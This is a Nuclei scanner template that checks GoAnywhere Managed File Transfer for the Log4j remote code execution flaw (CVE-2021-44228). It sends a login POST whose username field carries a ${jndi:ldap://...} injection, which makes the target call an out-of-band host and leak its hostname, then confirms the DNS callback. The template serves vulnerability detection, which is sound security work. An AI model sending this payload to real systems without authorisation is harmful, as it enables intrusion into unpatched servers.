nuclei-templates/http/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml

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id: goanywhere-mft-log4j-rce
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info:
name: GoAnywhere Managed File Transfer - Remote Code Execution (Apache Log4j)
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author: pussycat0x
severity: critical
description: GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.
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reference:
- https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps
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- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
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cve-id: CVE-2021-44228
cwe-id: CWE-77
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metadata:
max-request: 2
shodan-query: http.html:"GoAnywhere Managed File Transfer"
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verified: true
tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere,kev
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variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
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- raw:
- |
GET /goanywhere/auth/Login.xhtml HTTP/1.1
Host: {{Hostname}}
- |
POST /goanywhere/auth/Login.xhtml HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: {{RootURL}}
Referer: {{RootURL}}/goanywhere/auth/Login.xhtml
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formPanel%3AloginGrid%3Aname=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.name.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}}
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cookie-reuse: true
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matchers-condition: and
matchers:
- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
- "dns"
- type: regex
part: interactsh_request
regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
- type: regex
name: view
group: 1
regex:
- 'javax\.faces\.ViewState:1" value="(.*)" autocomplete'
internal: true
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part: body
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- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output
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- type: regex
group: 2
regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
part: interactsh_request
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- type: regex
group: 1
regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part: interactsh_request